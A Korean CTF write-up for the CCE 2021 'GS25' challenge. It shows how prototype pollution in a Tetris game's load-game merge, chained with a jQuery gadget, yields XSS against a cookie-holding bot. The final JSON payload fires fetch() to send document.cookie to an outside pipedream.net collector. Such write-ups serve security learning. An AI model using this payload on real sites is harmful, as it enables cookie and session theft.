[Clear] CCE 2021 GS25 Writeup
테트리스 게임을 할 수 있는 페이지와 로봇 페이지가 주어진다.
게임 저장/불러오기 기능이 제공된다.
봇의 기능은 filename과 code를 입력하면
const express = require('express')
const app = express()
// const __DIR = '/usr/src/app'
const __DIR = './'
const puppeteer = require('puppeteer')
const url = 'http://prob'
/* express */
app.set('views', __DIR + '/views')
app.set('view engine', 'ejs')
app.engine('html', require('ejs').renderFile)
app.use(express.json())
app.use(express.urlencoded({ extended: true }))
app.get('/', (req, res) => {
res.render('index')
})
app.post('/', async (req, res) => {
const { fileName, code } = req.body
const cookies = [{
'name': 'fileName',
'value': fileName
},
{
'name': 'flag',
'value': 'cce2021{EXAMPLE_FLAG}' ##### ........................................ (1)
}
]
await (async () => {
const browser = await puppeteer.launch({ args: ['--no-sandbox', '--disable-setuid-sandbox'] })
const page = await browser.newPage()
page.on('dialog', async dialog => {
if(dialog.message() == 'Input your game data code') await dialog.accept(code)
else await dialog.dismiss()
})
await page.goto(url, {
waitUntil: 'networkidle2',
})
await page.setCookie(...cookies) #####
await page.click('#playBtn') ##### ......................................... (2)
await page.keyboard.type('l') #####
await new Promise(resolve => setTimeout(resolve, 1000))
await browser.close()
})()
res.send("Done")
})
app.listen(80)
(1), (2) 와 같이 쿠키에 플래그를 추가 한 뒤에, 입력받은 정보의 게임을 load한다.
따라서, 게임이 로드되면서 xss를 발생 시킬 수 있다면 flag값이 포함된 쿠키를 탈취 할 수 있을것이라고 생각했다.
저장된 게임을 로드하는 로직에서 취약점이 있을 것이라고 생각하고 코드를 분석해보았다.
async function loadGame(){
const code = prompt('Input your game data code')
const req = await axios.post('/loadGame', { code })
const result = req.data
if (result.state !== 'ok') {
alert('error')
return
}
const data = req.data.data
function isObject(obj) {
return obj !== null && typeof obj === 'object'
}
function merge(a, b) { ##### ................................................... (1)
for (let key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key])
} else {
a[key] = b[key]
}
}
return a
}
this.cGameInfo = new GameInfo()
merge(this.cGameInfo, data)
console.log(a)
initScreen()
initPiecesMap(cGameInfo.panelRow, cGameInfo.panelColume)
initDisplayGamePanel(cGameInfo.panelColume, cGameInfo.panelRow)
initNextBlockInfo()
setNextPieces()
clearInterval(this.cGameInfo.dropIntervalId)
setDropInterval()
$(document).off('keydown') #####
document.addEventListener('keydown', keyboardEventHandler)
$(document).off('touchmove') ##### .............................................. (2)
setControleButton()
this.cGameInfo.changeSpeedDisplay()
this.cGameInfo.updateScore(0)
}
(1)과 같이 게임 정보를 merge하는 과정에서 Prototype Pollution 공격이 가능하다.
해당 공격 기법에 대한 내용은 아래 글을 참조하면 좋을 것 같다.
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
Node.js에서의 프로토타입 오염 공격이란 무엇인가
__proto__을 이용한 프로토타입 오염(prototype pollution) 공격의 원리를 설명하면서 노드 환경에서 실제 공격이 가능한 사례를 함께 소개합니다.
blog.coderifleman.com
프로토 타입을 오염시키더라도 이를 호출하는 구간이 없다고 생각해서 많이 헤맸다. 그 해답은 jquery에 있었다.
merge가 일어난 후에 호출되는 구간이 도저히 안보여서 생소한 내용이었던 $(document.)off('~~~')에서 취약점이 발생할 가능성이 있는지 공부하다가 jquery에서 xss를 발생시키는 가젯 예시에대한 자료를 찾았다.
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
GitHub - BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets
Prototype Pollution and useful Script Gadgets. Contribute to BlackFan/client-side-prototype-pollution development by creating an account on GitHub.
github.com
이를 참조하여 아래와 같이 Prototype Pollution 과 jqeury xss 취약점을 이용해서 플래그를 획득 할 수 있었다.
{
"data": {
"__proto__": {
"__proto__": {
"preventDefault": "x",
"handleObj": "x",
"delegateTarget": "<img/src/onerror=fetch(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/?f=`+document.cookie)>"
}
}
}
}
FLAG = cce2021{5cd5185ef46ce86f6c33543f75752a559fa843ec91a1176144f1a15d468f318d}
이 풀이 말고, 시도했다가 실패했지만 조금 더 섬세하게 시도했으면 보다 빨리 풀었을듯한 풀이를 소개하자면, 게임 화면에 표기되는 gameScoreTag에 아예 innerHTML을 지정하여 XSS를 발생시키는 방법이었다. 분명 똑같이 시도했던거같은데 안되었었는데..
대회 종료 후 해당 풀이 또한 유효함을 확인 할 수 있었다. (왜 내가 했을 땐 안됬지..?)